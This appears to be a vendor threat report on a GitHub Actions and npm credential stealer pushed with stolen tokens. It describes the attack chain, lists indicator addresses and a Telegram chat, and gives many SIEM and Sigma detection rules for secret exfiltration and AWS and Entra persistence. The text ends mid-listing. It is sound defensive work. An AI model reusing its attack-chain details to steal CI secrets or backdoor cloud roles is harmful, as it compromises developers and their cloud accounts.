Overview
A stealer that arrives through a stolen account and is gone before anyone looks
What happened
Pushed with stolen tokens, reverted in seconds
Someone holding stolen GitHub tokens adds a credential stealer to a build workflow, an npm install hook or an existing shell script, and reverts the commit, within a minute wherever the revert was timed. Aikido, SafeDep and StepSecurity reported it on 12 November.
What Mate’s hunting agent found
A rehearsal, five versions and a replay
Mate’s hunting agent read the first commit carrying the stealer in every listed repository it could still reach. The stealer was rehearsed on GitHub from 25 October, has gone through five versions, and on 12 November was pushed again into most of the listed repositories. Most of the workflow files it landed in had been planted by earlier campaigns.
Why blocklists and missing-run checks mislead
No server left to block, and a missing run is not an execution
The current version sends to Telegram and names no server. A gap in a workflow’s run numbers shows only that a run record was removed: in most gaps Mate’s hunting agent examined, the run for the operator’s revert, seconds later, never started a job.
What you can do
Start from the account, then ask whether a job started
A pull request titled docs: dependency audit notes from a branch named wfx-docs means that account’s token is stolen: revoke it. Check the run for the revert commit, ci: restore: if it started a job, assume the stealer’s run did too and rotate everything the workflow could read. In AWS, look for sessions named ci- or wfx- and a number, and trust policies opened to any account; in Entra, credentials named wfx-ci-.
Key findings
Rehearsed in October, pushed from accounts earlier campaigns used, and a deleted run is not proof it ran
We read the stealer’s first commit in 8,070 of the 8,092 repositories SafeDep lists. It was rehearsed in 27 trial commits from 25 to 29 October, which tagged their uploads with six campaign tokens DISCOVERED BY MATE. Of the 7,225 workflow files it was added to, 5,191 had been planted by an earlier campaign, from the same account in every repository we checked (140 from GhostAction, 34 from Megalodon). On 12 November it was pushed again into 7,065 of the listed repositories. In a sample of 150 repositories, its run was missing in 115, yet in 82 of those the revert’s run never started a job.

Attack chain
From a stolen token to a reverted commit, in under a minute
The steps follow copies of the stealer we read from public commits between 25 October and 12 November. Nothing was run: what the stealer does in a cloud account is read from its text.

01Access
A stolen token, checked with a pull request
In repositories a stolen token can write to, the operator opens a pull request titled
docs: dependency audit notesfrom a branch namedwfx-docs. This probe alone means the token is stolen. How the tokens were taken is not established.- Pull request: docs: dependency audit notes
- Branch: wfx-docs
02aDelivery · Workflow
Steps added to an existing workflow
In 7,212 repositories,
ci: refresh build cacheadds two steps and the permissionstatuses: writeto a workflow that runs on a push: the alphabetically first one in 471 of 484 repositories we checked. In 16 more, a new workflow file is added instead.- ci: refresh build cache
- Pass runtime · Restore cache <4>
- .github/workflows/build-audit-<6>.yml
02bDelivery · npm
A hidden script that npm runs on every install
In 767 repositories,
chore: add ci helperadds a hidden.ci-<6>.shand apostinstallline inpackage.json. It runs wherevernpm installruns, including a developer’s machine, and it reached a published Packagist package.- chore: add ci helper
- .ci-<6>.sh
- digitalelvis/neuronai-studio 3.14.3, 3.14.4
02cDelivery · Shell scriptDISCOVERED BY MATE
Appended to a script the repository already had
In 74 repositories the stealer is appended to an existing shell script, after the line
# ci cache. It runs wherever that script runs.- ci: refresh build cache
- # ci cache
03Collection
Secrets, credential files and the runner’s memory
The stealer writes out the repository’s Actions secrets and job tokens, copies cloud, registry, SSH and AI-tool credential files, and searches the memory of the runner, the machine that runs the build, for tokens. It works in a directory named
.wfx-<pid>and deletes it at the end.- <temp>/.wfx-<pid>/
- <temp>/wfx-<pid>.tgz
- <temp>/wfx-scan-<pid>/
04Cloud access
From a build token to lasting access
The stealer trades GitHub identity tokens for cloud sessions. In AWS the first session is named
ci-<pid>; only a second role, assumed from the first, is namedwfx-<pid>. It then tries to create permanent access keys and opens that role’s trust policy to any account. In Microsoft Entra it adds a sign-in credential namedwfx-ci-<n>to applications. In 16 repositories it was also set to post a passing status under the repository’s required check names.- AWS session: ci-<pid>, then wfx-<pid>
- Trust policy: Principal AWS *
- Entra credential: wfx-ci-<n>
05Upload
One archive to a rented server, then to Telegram
The archive is posted over plain HTTP to port 8080 of a rented address (8081 in some trial copies), which changed with each wave. Since 01:46 UTC on 12 November copies send it to a Telegram chat instead. If nothing is delivered the stealer exits with code 42, which the npm form passes on to the install.
- 45.61.182[.]54
- 18.143.168[.]96
- 194.150.166[.]244
- 153.75.82[.]159
- Telegram chat -1004340163187
06Clean-up
Reverted in seconds, and the run record removed
A commit named
ci: restoreputs the workflow back, a median of 11 seconds later and never more than 58 in the 150 repositories we sampled;ci: cleanupremoves the hidden script. In 115 of the 150 the run for the stealer commit is no longer listed, which leaves a gap in the workflow’s run numbers.- ci: restore · ci: cleanup
- A missing run number
Detect & hunt
Detections and hunts
Ten detections to alert on and three hunts to run periodically, keyed on what has held across the copies we read rather than on servers. Endpoint cards cover six platforms plus Sigma; the others cover the platforms that document their logs, plus Sigma.
Detect: alert on these
10 detectionsFinds AssumeRoleWithWebIdentity calls through GitHub's OIDC provider, made with curl, with a session named ci-<digits>: the stealer's first step into AWS. Only the session it opens next, on another role, is named wfx-.
The session name and the curl call are unchanged in the trial copies of 25 to 29 October and all five November versions, in every copy we read to 12 November (08:08 UTC).
CloudTrail management events, read events included, from each account whose roles GitHub workflows assume, in a trail covering us-east-1, where CloudTrail records calls to STS's global endpoint.
Do not block: Do not block token.actions.githubusercontent.com, a GHE.com enterprise's token.actions.<subdomain>.ghe.com or sts.amazonaws.com: limit the role's trust policy to the repositories and branches that should assume it, and revoke its sessions.
#Vendor="aws" #event.module="cloudtrail"
| event.provider="sts.amazonaws.com" event.action="AssumeRoleWithWebIdentity"
| Vendor.requestParameters.roleSessionName=/^ci-[0-9]+$/
| user_agent.original=/^curl\//
| Vendor.userIdentity.identityProvider=/token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])/
or Vendor.responseElements.provider=/token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])/
| table([@timestamp, Vendor.recipientAccountId, error.code, Vendor.requestParameters.roleArn,
Vendor.requestParameters.roleSessionName, Vendor.userIdentity.userName, source.address,
user_agent.original], limit=1000, sortby=Vendor.requestParameters.roleArn, type=string, order=asc)
| head(1000)let GitHubIssuer = @"token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])";
AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventSource == "sts.amazonaws.com" and EventName == "AssumeRoleWithWebIdentity"
| where UserIdentityPrincipalid contains "token.actions." or ResponseElements contains "token.actions."
| where UserIdentityPrincipalid matches regex GitHubIssuer or ResponseElements matches regex GitHubIssuer
| extend Params = parse_json(RequestParameters)
| extend SessionName = tostring(Params.roleSessionName), RoleArn = tostring(Params.roleArn)
| where SessionName matches regex @"^ci-[0-9]+$"
| where UserAgent startswith "curl/"
| project TimeGenerated, RecipientAccountId, ErrorCode, RoleArn, SessionName,
Subject = UserIdentityUserName, SourceIpAddress, UserAgent
| sort by RoleArn asc, TimeGenerated asc
| take 500config timeframe = 7d
| dataset = amazon_aws_raw
| filter _log_type = "Cloud Audit Log" and eventSource = "sts.amazonaws.com"
and eventName = "AssumeRoleWithWebIdentity"
| alter session_name = requestParameters -> roleSessionName,
role_arn = requestParameters -> roleArn,
idp = userIdentity -> identityProvider,
provider = responseElements -> provider,
subject = userIdentity -> userName
| filter session_name ~= "(?-i)^ci-[0-9]+$" and userAgent ~= "^curl/"
and (idp ~= "token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])"
or provider ~= "token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])")
| fields _time, recipientAccountId, errorCode, role_arn, session_name, subject,
sourceIPAddress, userAgent
| sort asc role_arn, asc _time
| limit 1000index=* sourcetype=aws:cloudtrail earliest=-7d eventSource="sts.amazonaws.com" eventName=AssumeRoleWithWebIdentity "token.actions."
| where match('requestParameters.roleSessionName', "^ci-[0-9]+$") AND match(userAgent, "^curl/")
AND (match('userIdentity.identityProvider', "token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])")
OR match('responseElements.provider', "token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])")
OR match('userIdentity.principalId', "token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])"))
| table _time recipientAccountId errorCode requestParameters.roleArn requestParameters.roleSessionName
userIdentity.userName sourceIPAddress userAgent
| sort 0 requestParameters.roleArn _time
| head 200FROM logs-aws.cloudtrail-*
| WHERE event.provider == "sts.amazonaws.com" AND event.action == "AssumeRoleWithWebIdentity"
AND aws.cloudtrail.user_identity.identity_provider RLIKE """.*token[.]actions[.](githubusercontent[.]com|[a-z0-9\-]+[.]ghe[.]com)([^a-z0-9.\-].*)?"""
AND aws.cloudtrail.request_parameters RLIKE """.*roleSessionName=ci-[0-9]+[,\}].*"""
AND user_agent.original LIKE "curl/*"
| KEEP @timestamp, cloud.account.id, event.outcome, aws.cloudtrail.error_code,
aws.cloudtrail.request_parameters, user.name, source.address, user_agent.original
| SORT @timestamp ASC
| LIMIT 1000title: AWS Role Assumed Through GitHub OIDC With curl and a ci-<digits> Session Name
id: 54f0537e-c625-40ee-b0f5-153a77d7e880
status: experimental
description: |
Detects AssumeRoleWithWebIdentity calls through GitHub's OIDC provider, made with curl,
whose role session is named ci- followed by digits. The wfx stealer, pushed into GitHub
repositories from October 2026, makes its first hop into AWS this way. AWS's
configure-aws-credentials action calls STS through the AWS SDK and names sessions
GitHubActions by default.
author: Mate Security
date: 2026-11-12
tags:
- attack.initial-access
- attack.lateral-movement
- attack.t1078.004
- attack.t1550.001
- detection.emerging-threats
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: sts.amazonaws.com
eventName: AssumeRoleWithWebIdentity
requestParameters.roleSessionName|re: '^ci-[0-9]+$'
userAgent|startswith: 'curl/'
selection_github_issuer:
- userIdentity.identityProvider|re: 'token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])'
- responseElements.provider|re: 'token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])'
condition: selection and selection_github_issuer
falsepositives:
- A pipeline that calls STS with curl and names its sessions ci- followed by a run or process number
level: highSee: Attack chain · Timeline
Finds the AssumeRole that opens a session named wfx-<digits> or tagged wfx, and every call made from a wfx- session: the stealer's session on a second role, from which it asks for IAM access keys and rewrites that role's trust policy.
The name is unchanged in every copy we read of all five November versions, to 12 November (08:08 UTC), and the tags are in all six copies we read in full; the October trial copies make no second role call.
CloudTrail management events, read and write, from every account and Region; a refused AssumeRole into another account is logged only in the calling account.
Do not block: Do not block sts.amazonaws.com: revoke the role's sessions, delete any key the session created and restore the trust policy.
#Vendor="aws" #event.module="cloudtrail"
| (event.provider="sts.amazonaws.com" event.action="AssumeRole"
(Vendor.requestParameters.roleSessionName=/^wfx-[0-9]+$/
or @rawstring=/"transitiveTagKeys"\s*:\s*\[[^\]]*"wfx"|"key"\s*:\s*"wfx"/))
or Vendor.userIdentity.arn=/:assumed-role\/[^\/]+\/wfx-[0-9]+$/
| table([@timestamp, Vendor.recipientAccountId, event.provider, event.action, error.code,
Vendor.userIdentity.arn, Vendor.requestParameters.roleSessionName, Vendor.requestParameters.roleArn,
source.address, user_agent.original], limit=500, sortby=@timestamp, order=asc)
| head(500)AWSCloudTrail
| where TimeGenerated > ago(7d)
| where (EventSource == "sts.amazonaws.com" and EventName == "AssumeRole" and RequestParameters contains "wfx")
or UserIdentityArn contains "/wfx-"
| extend Params = parse_json(RequestParameters)
| extend SessionName = tostring(Params.roleSessionName), RoleArn = tostring(Params.roleArn),
TagKeys = tostring(Params.transitiveTagKeys), Tags = tostring(Params.tags)
| where (EventName == "AssumeRole" and SessionName matches regex @"^wfx-[0-9]+$")
or (EventName == "AssumeRole" and (TagKeys matches regex @'"wfx"' or Tags matches regex @'"key"\s*:\s*"wfx"'))
or UserIdentityArn matches regex @":assumed-role/[^/]+/wfx-[0-9]+$"
| project TimeGenerated, RecipientAccountId, EventSource, EventName, ErrorCode, UserIdentityArn,
SessionName, RoleArn, SourceIpAddress, UserAgent, RequestParameters
| sort by TimeGenerated asc
| take 500config timeframe = 7d
| dataset = amazon_aws_raw
| filter _log_type = "Cloud Audit Log"
| alter session_name = requestParameters -> roleSessionName,
role_arn = requestParameters -> roleArn,
caller_arn = userIdentity -> arn
| filter (eventSource = "sts.amazonaws.com" and eventName = "AssumeRole"
and (session_name ~= "(?-i)^wfx-[0-9]+$"
or requestParameters ~= "(?-i)\x22transitiveTagKeys\x22\s*:\s*\[[^\]]*\x22wfx\x22|\x22key\x22\s*:\s*\x22wfx\x22"))
or caller_arn ~= "(?-i):assumed-role/[^/]+/wfx-[0-9]+$"
| fields _time, recipientAccountId, eventSource, eventName, errorCode, caller_arn, session_name,
role_arn, sourceIPAddress, userAgent
| sort asc _time
| limit 500index=* sourcetype=aws:cloudtrail earliest=-7d wfx
| where (eventSource="sts.amazonaws.com" AND eventName="AssumeRole"
AND (match('requestParameters.roleSessionName', "^wfx-[0-9]+$")
OR match(_raw, "\x22transitiveTagKeys\x22\s*:\s*\[[^\]]*\x22wfx\x22|\x22key\x22\s*:\s*\x22wfx\x22")))
OR match('userIdentity.arn', ":assumed-role/[^/]+/wfx-[0-9]+$")
| table _time recipientAccountId eventSource eventName errorCode userIdentity.arn
requestParameters.roleSessionName requestParameters.roleArn sourceIPAddress userAgent
| sort 0 _time
| head 200FROM logs-aws.cloudtrail-*
| WHERE (event.provider == "sts.amazonaws.com" AND event.action == "AssumeRole"
AND (aws.cloudtrail.request_parameters RLIKE """.*roleSessionName=wfx-[0-9]+[,\}].*"""
OR aws.cloudtrail.request_parameters RLIKE """.*(transitiveTagKeys=\[([^\]]*[ ,])?wfx[,\]]|\{key=wfx,).*"""))
OR aws.cloudtrail.user_identity.arn RLIKE """.*:assumed-role/[^/]+/wfx-[0-9]+"""
| KEEP @timestamp, cloud.account.id, event.provider, event.action, event.outcome,
aws.cloudtrail.error_code, aws.cloudtrail.user_identity.arn, aws.cloudtrail.request_parameters,
source.address, user_agent.original
| SORT @timestamp ASC
| LIMIT 500title: AWS Role Session Named or Tagged wfx (wfx Stealer Role Chain)
id: 49f8b597-74b9-4123-b7b2-7aee2d683788
status: experimental
description: |
Detects the AssumeRole call that opens an AWS role session named wfx- followed by digits
or tags a session with the key wfx, and any call made from a wfx- session. The wfx stealer, pushed into GitHub repositories
from November 2026, gives this name to the next role it assumes after exchanging a GitHub
Actions job's OIDC token for AWS credentials, then calls CreateAccessKey and
UpdateAssumeRolePolicy from that session (from its second version, ListUsers first).
author: Mate Security
date: 2026-11-12
tags:
- attack.privilege-escalation
- attack.persistence
- attack.t1078.004
- attack.t1098.001
- attack.t1098.003
- detection.emerging-threats
logsource:
product: aws
service: cloudtrail
detection:
selection_assume:
eventSource: sts.amazonaws.com
eventName: AssumeRole
requestParameters.roleSessionName|re: '^wfx-[0-9]+$'
selection_tagged:
eventSource: sts.amazonaws.com
eventName: AssumeRole
requestParameters.transitiveTagKeys: 'wfx'
selection_tag_key:
eventSource: sts.amazonaws.com
eventName: AssumeRole
requestParameters.tags.key: 'wfx'
selection_session:
userIdentity.arn|re: ':assumed-role/[^/]+/wfx-[0-9]+$'
condition: 1 of selection_*
falsepositives:
- A role session that a person or pipeline names wfx- followed by digits
level: criticalSee: Attack chain · Timeline
Finds a federated credential named wfx-ci-<number>, trusting GitHub's Actions issuer, on a Microsoft Entra application whose credentials changed: the add, and any later change until the credential is deleted. The stealer tries to add one to each of up to three applications it can list, so a workflow in the repository its copy was pushed into can sign in as them without a secret.
Unchanged in all five November versions we compared, to the latest copy compared (12 November, 08:08 UTC); the trial copies have no such step.
Entra ID audit logs; for CrowdStrike, with the original event text kept. The Splunk query reads sourcetype azure:monitor:aad, which the Event Hub input offers for Entra logs, not its generic default mscs:azure:eventhub.
Do not block: Do not block token.actions.githubusercontent.com or a GHE.com enterprise's token.actions.<subdomain>.ghe.com, which carry legitimate deployments to Azure: delete the credential, then review what the application's service principal did since it was added.
#repo="3pi_microsoft_entra_id"
| @rawstring=/FederatedIdentityCredentials/
| @rawstring=/"(?<operation>Update (application|service principal)[^"]*)"/i
// the new value must name GitHub's issuer and a wfx-ci credential
| @rawstring=/"newValue"\s*:\s*"(?:[^"\\]|\\.)*?token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])/
| @rawstring=/"newValue"\s*:\s*"(?:[^"\\]|\\.)*?(?<cred_name>wfx-ci-[0-9]+)/i
| @rawstring=/(?<wfx_cred>\{[^{}]*wfx-ci-[0-9]+[^{}]*\})/i
| regex("\"initiatedBy\"[^}]*?\"userPrincipalName\"[ ]*:[ ]*\"(?<actor_upn>[^\"]+)\"", strict=false)
| regex("\"initiatedBy\"[^}]*?\"app\"[ ]*:[ ]*[{][^}]*?\"displayName\"[ ]*:[ ]*\"(?<actor_app>[^\"]+)\"", strict=false)
| regex("\"correlationId\"[ ]*:[ ]*\"(?<correlation_id>[^\"]+)\"", strict=false)
| table([@timestamp, operation, cred_name, wfx_cred, actor_upn, actor_app, correlation_id, @id])
| head(200)// Microsoft Sentinel AuditLogs table (Entra ID audit logs)
let GitHubIssuer = @"token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])";
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName startswith "Update application" or OperationName =~ "Update service principal"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where tostring(TargetResources_modifiedProperties.displayName) =~ "FederatedIdentityCredentials"
| extend NewCreds = tostring(TargetResources_modifiedProperties.newValue)
| where NewCreds matches regex @"(?i)wfx-ci-[0-9]+"
and NewCreds contains "token.actions."
and NewCreds matches regex GitHubIssuer
| extend WfxCred = extract(@"(?i)(\{[^{}]*wfx-ci-[0-9]+[^{}]*\})", 1, NewCreds)
| extend CredName = extract(@'(?i)"name"\s*:\s*"([^"]*)"', 1, WfxCred),
CredSubject = extract(@'(?i)"subject"\s*:\s*"([^"]*)"', 1, WfxCred),
ActorUser = tostring(InitiatedBy.user.userPrincipalName),
ActorApp = tostring(InitiatedBy.app.displayName),
ActorIp = tostring(InitiatedBy.user.ipAddress),
UserAgent = iif(tostring(AdditionalDetails[0].key) == "User-Agent", tostring(AdditionalDetails[0].value), ""),
AppName = tostring(TargetResources.displayName),
AppObjectId = tostring(TargetResources.id)
| project TimeGenerated, OperationName, Result, ActorUser, ActorApp, ActorIp, UserAgent,
AppName, AppObjectId, CredName, CredSubject, CorrelationId
| take 500config timeframe = 7d
| dataset = msft_azure_ad_audit_raw
| filter activityDisplayName ~= "^Update (application|service principal)"
and targetResources contains "FederatedIdentityCredentials"
and targetResources contains "token.actions."
// one row per target and modified property
| alter target_res = json_extract_array(targetResources, "$")
| arrayexpand target_res
| alter prop = json_extract_array(target_res, "$.modifiedProperties")
| arrayexpand prop
| alter prop_name = json_extract_scalar(prop, "$.displayName"),
new_creds = json_extract_scalar(prop, "$.newValue")
| filter prop_name = "FederatedIdentityCredentials"
// one row per credential in the new value, so a removed credential never matches
| alter cred = split(replace(replace(new_creds, "[{", ""), "}]", ""), "},{")
| arrayexpand cred
| filter cred ~= "(?i)wfx-ci-[0-9]+" and cred ~= "token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])"
| alter cred_json = concat("{", cred, "}")
| alter cred_name = coalesce(json_extract_scalar(cred_json, "$.Name"), json_extract_scalar(cred_json, "$.name")),
cred_subject = coalesce(json_extract_scalar(cred_json, "$.Subject"), json_extract_scalar(cred_json, "$.subject")),
app_name = json_extract_scalar(target_res, "$.displayName"),
app_object_id = json_extract_scalar(target_res, "$.id"),
actor_upn = initiatedBy -> user.userPrincipalName,
actor_app = initiatedBy -> app.displayName,
actor_ip = initiatedBy -> user.ipAddress
| fields _time, activityDisplayName, result, actor_upn, actor_app, actor_ip, app_name, app_object_id, cred_name, cred_subject, correlationId
| limit 1000index=* sourcetype="azure:monitor:aad" category=AuditLogs earliest=-7d
operationName IN ("Update application*", "Update service principal") wfx
properties.targetResources{}.modifiedProperties{}.displayName="FederatedIdentityCredentials"
| eval new_creds=mvjoin('properties.targetResources{}.modifiedProperties{}.newValue', " ")
| where match(new_creds, "(?i)wfx-ci-[0-9]+") AND match(new_creds, "token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])")
| rex field=new_creds "(?<wfx_cred>\{[^{}]*(?i:wfx-ci-)[0-9]+[^{}]*\})"
| rex field=wfx_cred "(?i)\"name\"\s*:\s*\"(?<cred_name>[^\"]*)\""
| rex field=wfx_cred "(?i)\"subject\"\s*:\s*\"(?<cred_subject>[^\"]*)\""
| rename "properties.initiatedBy.user.userPrincipalName" AS actor_user,
"properties.initiatedBy.app.displayName" AS actor_app,
"properties.initiatedBy.user.ipAddress" AS actor_ip,
"properties.targetResources{}.displayName" AS app_name,
"properties.result" AS result, "properties.correlationId" AS correlation_id
| table _time operationName result actor_user actor_app actor_ip app_name cred_name cred_subject correlation_id
| head 200FROM logs-azure.auditlogs-*
| WHERE (event.action LIKE "Update application*" OR event.action == "Update service principal")
AND `azure.auditlogs.properties.target_resources.0.modified_properties.0.display_name` == "FederatedIdentityCredentials"
| EVAL new_creds = `azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`
| WHERE TO_LOWER(new_creds) RLIKE ".*wfx-ci-[0-9]+.*"
AND new_creds RLIKE """.*token[.]actions[.](githubusercontent[.]com|[a-z0-9\-]+[.]ghe[.]com)([^a-z0-9.\-].*)?"""
| GROK new_creds """(?<wfx_cred>\{[^{}]*(?i:wfx-ci-)[0-9]+[^{}]*\})"""
| GROK wfx_cred """(?i)"name"\s*:\s*"(?<cred_name>[^"]*)"""
| GROK wfx_cred """(?i)"subject"\s*:\s*"(?<cred_subject>[^"]*)"""
| KEEP @timestamp, event.action, event.outcome,
azure.auditlogs.properties.initiated_by.user.userPrincipalName,
azure.auditlogs.properties.initiated_by.app.displayName,
azure.auditlogs.properties.initiated_by.user.ipAddress,
`azure.auditlogs.properties.target_resources.0.display_name`,
`azure.auditlogs.properties.target_resources.0.id`,
cred_name, cred_subject, azure.auditlogs.properties.correlation_idtitle: Entra Federated Credential Named wfx-ci Added To An Application
id: bd0f489b-40f8-41f3-b47f-ccf41bf40166
status: experimental
description: |
Detects a federated identity credential named wfx-ci- plus a number, trusting GitHub's Actions
issuer, being written to a Microsoft Entra application. The wfx stealer tries to add one to each of
up to three applications its token can list, so a GitHub workflow in the repository its copy sits
in can sign in as the application without a secret.
author: Mate Security
date: 2026-11-12
tags:
- attack.persistence
- attack.privilege-escalation
- attack.t1098.001
- detection.emerging-threats
logsource:
product: azure
service: auditlogs
detection:
selection:
OperationName|startswith:
- 'Update application'
- 'Update service principal'
TargetResources.modifiedProperties.displayName: 'FederatedIdentityCredentials'
TargetResources.modifiedProperties.newValue|contains: 'wfx-ci-'
TargetResources.modifiedProperties.newValue|re: 'token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])'
condition: selection
falsepositives:
- A credential an administrator deliberately named with the wfx-ci- prefix
level: criticalSee: Attack chain
Alerts on a workflow-run event on a branch named wfx-docs whose actor is a user account, and shows beside it any pull request titled docs: dependency audit notes in the same repository. A wfx-docs pull request opened by a user account since 10 November is the operator checking the token, even with no commit after it.
GitHub's pull request search returned no pull request from a wfx-docs branch opened before 12:45 UTC on 10 November 2026; in 134 of 140 sampled repositories the branch was created 3 to 64 seconds before the first stealer commit.
A GitHub organisation or enterprise audit log in the SIEM (GitHub Enterprise Cloud), and a workflow that runs on a push to any branch or on pull requests: the branch name reaches the log only on workflow runs. For a repository owned by a personal account, search its pull requests for head:wfx-docs. The Splunk query reads sourcetype github:cloud:audit (audit-log streaming or the add-on's API input); logs forwarded from GitHub Enterprise Server (github:enterprise:audit) or streamed to Amazon S3 (aws:s3) need their own field mapping.
union isfuzzy=true GitHubAuditLogsV2_CL, GitHubAuditLogsV3_CL,
(GitHubAuditLogPolling_CL
| project TimeGenerated, Action = action_s, Actor = column_ifexists("actor_s", ""), ActorIsBot = column_ifexists("actor_is_bot_b", false),
Repo = column_ifexists("repo_s", ""), HeadBranch = column_ifexists("head_branch_s", ""),
PullRequestTitle = column_ifexists("pull_request_title_s", ""), PullRequestUrl = column_ifexists("pull_request_url_s", ""))
| where TimeGenerated > ago(7d)
| where not(coalesce(ActorIsBot, false)) and not(Actor endswith "[bot]")
| extend OnBranch = Action startswith "workflows." and HeadBranch =~ "wfx-docs",
TitleMatch = Action == "pull_request.create" and PullRequestTitle =~ "docs: dependency audit notes"
| where OnBranch or TitleMatch
| summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), BranchEvents = countif(OnBranch),
BranchActors = make_set_if(Actor, OnBranch, 20), RunActions = make_set_if(Action, OnBranch, 20),
TitleOpeners = make_set_if(Actor, TitleMatch, 20), TitlePullRequests = make_set_if(PullRequestUrl, TitleMatch, 20)
by Repo
| where BranchEvents > 0
| order by LastSeen desc
| take 500config timeframe = 7d
| dataset = github_github_audit_raw
| filter actor !~= "\[bot\]$"
| filter (action ~= "^workflows\." and head_branch = "wfx-docs")
or (action = "pull_request.create" and lowercase(pull_request_title) = "docs: dependency audit notes")
| alter on_branch = if(head_branch = "wfx-docs", 1, 0)
| alter branch_actor = if(on_branch = 1, actor), run_action = if(on_branch = 1, action),
title_opener = if(on_branch = 0, actor), title_pull_request = if(on_branch = 0, pull_request_url)
| comp min(_time) as first_seen, max(_time) as last_seen, sum(on_branch) as branch_events,
values(branch_actor) as branch_actors, values(run_action) as run_actions,
values(title_opener) as title_openers, values(title_pull_request) as title_pull_requests by repo
| filter branch_events > 0
| sort desc last_seen
| limit 1000index=* sourcetype="github:cloud:audit" earliest=-7d ("wfx-docs" OR "dependency audit notes")
| spath output=gh_action path=action
| spath output=gh_actor path=actor
| spath output=gh_repo path=repo
| spath output=gh_title path=pull_request_title
| spath output=gh_pr_url path=pull_request_url
| spath output=branch_top path=head_branch
| spath output=branch_data path=data.head_branch
| eval gh_branch=coalesce(branch_top, branch_data)
| where NOT like(gh_actor, "%[bot]")
| eval on_branch=if(like(gh_action, "workflows.%") AND gh_branch="wfx-docs", 1, 0),
title_match=if(gh_action="pull_request.create" AND lower(gh_title)="docs: dependency audit notes", 1, 0)
| where on_branch=1 OR title_match=1
| eval branch_actor=if(on_branch=1, gh_actor, null()), run_action=if(on_branch=1, gh_action, null()),
title_opener=if(title_match=1, gh_actor, null()), title_pull_request=if(title_match=1, gh_pr_url, null())
| stats min(_time) AS first_seen max(_time) AS last_seen sum(on_branch) AS branch_events
values(branch_actor) AS branch_actors values(run_action) AS run_actions
values(title_opener) AS title_openers values(title_pull_request) AS title_pull_requests BY gh_repo
| where branch_events>0
| sort - last_seen
| convert ctime(first_seen) ctime(last_seen)
| head 200FROM logs-github.audit-*
| WHERE NOT COALESCE(github.actor_is_bot, false) AND NOT ENDS_WITH(COALESCE(user.name, ""), "[bot]")
| EVAL on_branch = STARTS_WITH(event.action, "workflows.")
AND (github.data.head_branch == "wfx-docs"
OR event.original LIKE """*"head_branch":"wfx-docs"*"""
OR event.original LIKE """*"head_branch": "wfx-docs"*"""),
title_match = event.action == "pull_request.create"
AND TO_LOWER(github.pull_request_title) == "docs: dependency audit notes"
| WHERE on_branch OR title_match
| STATS first_seen = MIN(@timestamp), last_seen = MAX(@timestamp),
branch_events = COUNT(CASE(on_branch, 1, null)),
branch_actors = VALUES(CASE(on_branch, user.name, null)),
run_actions = VALUES(CASE(on_branch, event.action, null)),
title_openers = VALUES(CASE(title_match, user.name, null)),
title_pull_requests = VALUES(CASE(title_match, github.pull_request_url, null))
BY github.repo
| WHERE branch_events > 0
| SORT last_seen DESC
| LIMIT 500title: GitHub Workflow Run on a Branch Named wfx-docs by a User Account
id: 533311ad-42b8-4a13-affa-441d61816c52
status: experimental
description: |
Detects a workflow-run event on a branch named wfx-docs whose actor is a user account, not a bot. A pull
request from a branch named wfx-docs, opened by a user account since 10 November 2026, is the operator's
check that a stolen token can write to the repository, and a commit adding the wfx stealer can follow it
within seconds. The pull request is titled "docs: dependency audit notes" and appears as
pull_request.create in the same repository.
references:
- https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization
author: Mate Security
date: 2026-11-12
tags:
- attack.initial-access
- attack.t1078.004
- attack.t1195.002
logsource:
product: github
service: audit
detection:
selection:
action|startswith: 'workflows.'
head_branch: 'wfx-docs'
filter_main_bot:
actor|endswith: '[bot]'
condition: selection and not filter_main_bot
falsepositives:
- A person who names a branch wfx-docs for their own work
level: highSee: Attack chain · Timeline · Indicators
Finds curl posting a file as application/gzip to a URL whose query holds h=<repository>&l=<label>&id=<run>-<job>-<pid>: the stealer uploading its archive. The URL is a curl argument, so the match holds whatever the server's address or port.
The same request in the trial copies of 25 to 29 October and all five November versions, to the latest copy we hashed (12 November, 08:08 UTC), across four addresses and ports 8080 and 8081; copies pushed from 01:46 UTC on 12 November make it only if their Telegram upload fails, to 127.0.0.1 port 1.
Process events with full command lines from Linux and macOS self-hosted runners, build servers and developer machines, short-lived processes included; GitHub-hosted runners carry no sensor of yours.
#event_simpleName=ProcessRollup2 | CommandLine=/application\/gzip/ | CommandLine=/--data-binary/ | CommandLine=/[?&]h=[^&\s]+&l=[^&\s]+&id=[0-9]+-/ | table([@timestamp, ComputerName, event_platform, ParentBaseFileName, ImageFileName, CommandLine]) | head(200)
DeviceProcessEvents
